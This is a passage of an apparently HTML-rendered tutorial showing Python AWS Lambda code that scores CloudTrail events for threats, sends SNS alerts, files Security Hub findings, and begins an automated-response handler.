                <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">geographic_anomaly</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">pattern_matched</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unusual_location</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">:</span> <span class="mf">0.8</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span>
            <span class="p">})</span>
        
        <span class="k">return</span> <span class="n">threat_indicators</span>
    
    <span class="k">def</span> <span class="nf">calculate_confidence</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">threat_type</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Calculate confidence score for threat detection</span><span class="sh">"""</span>
        <span class="n">base_confidence</span> <span class="o">=</span> <span class="mf">0.6</span>
        
        <span class="c1"># Boost confidence based on context
</span>        <span class="k">if</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">errorCode</span><span class="sh">'</span><span class="p">):</span>
            <span class="n">base_confidence</span> <span class="o">+=</span> <span class="mf">0.1</span>
        
        <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_privileged_user</span><span class="p">(</span><span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userIdentity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})):</span>
            <span class="n">base_confidence</span> <span class="o">+=</span> <span class="mf">0.2</span>
        
        <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_outside_business_hours</span><span class="p">(</span><span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventTime</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)):</span>
            <span class="n">base_confidence</span> <span class="o">+=</span> <span class="mf">0.1</span>
        
        <span class="k">return</span> <span class="nf">min</span><span class="p">(</span><span class="n">base_confidence</span><span class="p">,</span> <span class="mf">1.0</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">determine_severity</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">threat_type</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Determine threat severity level</span><span class="sh">"""</span>
        <span class="n">severity_mapping</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">data_exfiltration</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">persistence</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">lateral_movement</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span>
        <span class="p">}</span>
        
        <span class="n">base_severity</span> <span class="o">=</span> <span class="n">severity_mapping</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">threat_type</span><span class="p">,</span> <span class="sh">'</span><span class="s">low</span><span class="sh">'</span><span class="p">)</span>
        
        <span class="c1"># Escalate severity for privileged users
</span>        <span class="k">if</span> <span class="n">self</span><span class="p">.</span><span class="nf">is_privileged_user</span><span class="p">(</span><span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userIdentity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})):</span>
            <span class="k">if</span> <span class="n">base_severity</span> <span class="o">==</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">:</span>
                <span class="k">return</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span>
            <span class="k">elif</span> <span class="n">base_severity</span> <span class="o">==</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">:</span>
                <span class="k">return</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span>
        
        <span class="k">return</span> <span class="n">base_severity</span>
    
    <span class="k">def</span> <span class="nf">is_anomalous_behavior</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Detect anomalous behavioral patterns</span><span class="sh">"""</span>
        <span class="c1"># Implement behavioral analysis logic
</span>        <span class="n">event_name</span> <span class="o">=</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventName</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">source_ip</span> <span class="o">=</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sourceIPAddress</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        
        <span class="c1"># Check for rapid API calls from same IP
</span>        <span class="c1"># Check for unusual API combinations
</span>        <span class="c1"># Check for access pattern deviations
</span>        
        <span class="k">return</span> <span class="bp">False</span>  <span class="c1"># Placeholder implementation
</span>    
    <span class="k">def</span> <span class="nf">is_geographic_anomaly</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">source_ip</span><span class="p">:</span> <span class="nb">str</span><span class="p">,</span> <span class="n">user_identity</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Detect geographic anomalies in access patterns</span><span class="sh">"""</span>
        <span class="c1"># Implement geolocation checking logic
</span>        <span class="c1"># Compare against user's typical locations
</span>        <span class="c1"># Check for VPN/proxy indicators
</span>        
        <span class="k">return</span> <span class="bp">False</span>  <span class="c1"># Placeholder implementation
</span>    
    <span class="k">def</span> <span class="nf">is_privileged_user</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">user_identity</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check if user has privileged access</span><span class="sh">"""</span>
        <span class="n">user_type</span> <span class="o">=</span> <span class="n">user_identity</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        <span class="n">principal_id</span> <span class="o">=</span> <span class="n">user_identity</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">principalId</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
        
        <span class="c1"># Check for admin roles, service accounts, etc.
</span>        <span class="n">privileged_indicators</span> <span class="o">=</span> <span class="p">[</span><span class="sh">'</span><span class="s">Admin</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">Root</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">PowerUser</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">IAMFullAccess</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="k">return</span> <span class="nf">any</span><span class="p">(</span><span class="n">indicator</span> <span class="ow">in</span> <span class="n">principal_id</span> <span class="k">for</span> <span class="n">indicator</span> <span class="ow">in</span> <span class="n">privileged_indicators</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">is_outside_business_hours</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event_time</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">bool</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check if event occurred outside business hours</span><span class="sh">"""</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">event_time</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">False</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">event_dt</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">fromisoformat</span><span class="p">(</span><span class="n">event_time</span><span class="p">.</span><span class="nf">replace</span><span class="p">(</span><span class="sh">'</span><span class="s">Z</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">+00:00</span><span class="sh">'</span><span class="p">))</span>
            <span class="n">hour</span> <span class="o">=</span> <span class="n">event_dt</span><span class="p">.</span><span class="n">hour</span>
            
            <span class="c1"># Define business hours (9 AM to 6 PM UTC)
</span>            <span class="k">return</span> <span class="n">hour</span> <span class="o">&lt;</span> <span class="mi">9</span> <span class="ow">or</span> <span class="n">hour</span> <span class="o">&gt;</span> <span class="mi">18</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">return</span> <span class="bp">False</span>
    
    <span class="k">def</span> <span class="nf">handle_threat_detection</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">threat_indicators</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="n">Dict</span><span class="p">]):</span>
        <span class="sh">"""</span><span class="s">Handle detected threats with appropriate response</span><span class="sh">"""</span>
        <span class="k">for</span> <span class="n">indicator</span> <span class="ow">in</span> <span class="n">threat_indicators</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">]:</span>
                <span class="c1"># Send immediate notification
</span>                <span class="n">self</span><span class="p">.</span><span class="nf">send_security_alert</span><span class="p">(</span><span class="n">record</span><span class="p">,</span> <span class="n">indicator</span><span class="p">)</span>
                
                <span class="c1"># Create Security Hub finding
</span>                <span class="n">self</span><span class="p">.</span><span class="nf">create_security_hub_finding</span><span class="p">(</span><span class="n">record</span><span class="p">,</span> <span class="n">indicator</span><span class="p">)</span>
                
                <span class="c1"># Trigger automated response if configured
</span>                <span class="k">if</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">]</span> <span class="o">&gt;</span> <span class="mf">0.8</span><span class="p">:</span>
                    <span class="n">self</span><span class="p">.</span><span class="nf">trigger_automated_response</span><span class="p">(</span><span class="n">record</span><span class="p">,</span> <span class="n">indicator</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">send_security_alert</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">indicator</span><span class="p">:</span> <span class="n">Dict</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Send security alert via SNS</span><span class="sh">"""</span>
        <span class="n">message</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">alert_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">security_threat_detected</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">:</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">event_details</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">event_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventName</span><span class="sh">'</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">source_ip</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">sourceIPAddress</span><span class="sh">'</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">user_identity</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">userIdentity</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">principalId</span><span class="sh">'</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">event_time</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventTime</span><span class="sh">'</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">aws_region</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">awsRegion</span><span class="sh">'</span><span class="p">)</span>
            <span class="p">}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">sns</span><span class="p">.</span><span class="nf">publish</span><span class="p">(</span>
                <span class="n">TopicArn</span><span class="o">=</span><span class="sh">'</span><span class="s">arn:aws:sns:us-east-1:123456789012:security-alerts</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Message</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
                <span class="n">Subject</span><span class="o">=</span><span class="sa">f</span><span class="sh">"</span><span class="s">Security Alert: </span><span class="si">{</span><span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s"> detected</span><span class="sh">"</span>
            <span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to send SNS alert: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">create_security_hub_finding</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">indicator</span><span class="p">:</span> <span class="n">Dict</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Create Security Hub finding for threat detection</span><span class="sh">"""</span>
        <span class="n">finding</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">SchemaVersion</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">2018-10-08</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">threat-detection-</span><span class="si">{</span><span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventID</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">ProductArn</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">arn:aws:securityhub:us-east-1:123456789012:product/custom/lambda-threat-detector</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">GeneratorId</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">lambda-threat-detector</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">AwsAccountId</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">recipientAccountId</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">123456789012</span><span class="sh">'</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">Types</span><span class="sh">'</span><span class="p">:</span> <span class="p">[</span><span class="sh">'</span><span class="s">Sensitive Data Identifications</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">CreatedAt</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">).</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">UpdatedAt</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">).</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">Severity</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">Label</span><span class="sh">'</span><span class="p">:</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">].</span><span class="nf">upper</span><span class="p">()</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">Title</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Threat Detected: </span><span class="si">{</span><span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">"</span><span class="s">Automated threat detection identified </span><span class="si">{</span><span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s"> with </span><span class="si">{</span><span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">]</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s"> confidence</span><span class="sh">"</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">Resources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[{</span>
                <span class="sh">'</span><span class="s">Type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">AwsCloudTrailEvent</span><span class="sh">'</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">Id</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">eventID</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">),</span>
                <span class="sh">'</span><span class="s">Region</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">awsRegion</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">unknown</span><span class="sh">'</span><span class="p">)</span>
            <span class="p">}]</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">security_hub</span><span class="p">.</span><span class="nf">batch_import_findings</span><span class="p">(</span><span class="n">Findings</span><span class="o">=</span><span class="p">[</span><span class="n">finding</span><span class="p">])</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to create Security Hub finding: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="k">def</span> <span class="nf">trigger_automated_response</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">record</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">indicator</span><span class="p">:</span> <span class="n">Dict</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Trigger automated response Lambda function</span><span class="sh">"""</span>
        <span class="n">response_payload</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">:</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">:</span> <span class="n">indicator</span><span class="p">[</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">],</span>
            <span class="sh">'</span><span class="s">event_record</span><span class="sh">'</span><span class="p">:</span> <span class="n">record</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">self</span><span class="p">.</span><span class="n">lambda_client</span><span class="p">.</span><span class="nf">invoke</span><span class="p">(</span>
                <span class="n">FunctionName</span><span class="o">=</span><span class="sh">'</span><span class="s">security-automated-response</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">InvocationType</span><span class="o">=</span><span class="sh">'</span><span class="s">Event</span><span class="sh">'</span><span class="p">,</span>
                <span class="n">Payload</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">response_payload</span><span class="p">)</span>
            <span class="p">)</span>
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Failed to trigger automated response: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Lambda handler
</span><span class="n">detector</span> <span class="o">=</span> <span class="nc">CloudTrailThreatDetector</span><span class="p">()</span>
<span class="n">lambda_handler</span> <span class="o">=</span> <span class="n">detector</span><span class="p">.</span><span class="n">lambda_handler</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="automated-response-lambda-function">Automated Response Lambda Function</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">json</span>
<span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">from</span> <span class="n">typing</span> <span class="kn">import</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">List</span>

<span class="k">class</span> <span class="nc">SecurityAutomatedResponse</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">iam</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">iam</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">ec2</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">ec2</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">rds</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">rds</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">lambda_client</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">lambda</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">organizations</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">organizations</span><span class="sh">'</span><span class="p">)</span>
        
    <span class="k">def</span> <span class="nf">lambda_handler</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">event</span><span class="p">,</span> <span class="n">context</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Main handler for automated security responses</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">threat_type</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">threat_type</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">severity</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">confidence</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
            <span class="n">event_record</span> <span class="o">=</span> <span class="n">event</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">event_record</span><span class="sh">'</span><span class="p">,</span> <span class="p">{})</span>
            
            <span class="c1"># Only proceed with high-confidence detections
</span>            <span class="k">if</span> <span class="n">confidence</span> <span class="o">&lt;</span> <span class="mf">0.8</span><span class="p">:</span>
                <span class="k">return</span> <span class="p">{</span>
                    <span class="sh">'</span><span class="s">statusCode</span><span class="sh">'</span><span class="p">:</span> <span class="mi">200</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">message</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">Confidence threshold not met for automated response</span><span class="sh">'</span>
                <span class="p">}</span>
            
            <span class="c1"># Route to appropriate response handler
</span>            <span class="n">response_actions</span> <span class="o">=</span> <span class="p">[]</span>
            
            <span class="k">if</span> <span class="n">threat_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">privilege_escalation</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">response_actions</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">handle_privilege_escalation</span><span class="p">(</span><span class="n">event_record</span><span class="p">)</span>
            <span class="k">elif</span> <span class="n">threat_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">data_exfiltration</span><span class="sh">'</span><span class="p">:</span>
                <span class="n">response_actions</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">handle_data_exfiltration</span><span class="p">(</span><span class="n">event_record</span><span class="p">)</span>
            <span class="k">elif</span> <span class="n">threat_type</span> <span class="o">==</span> <span class="sh">'</span><span class="s">persistence</span><span class="sh">'</span><span class="p">:</span>
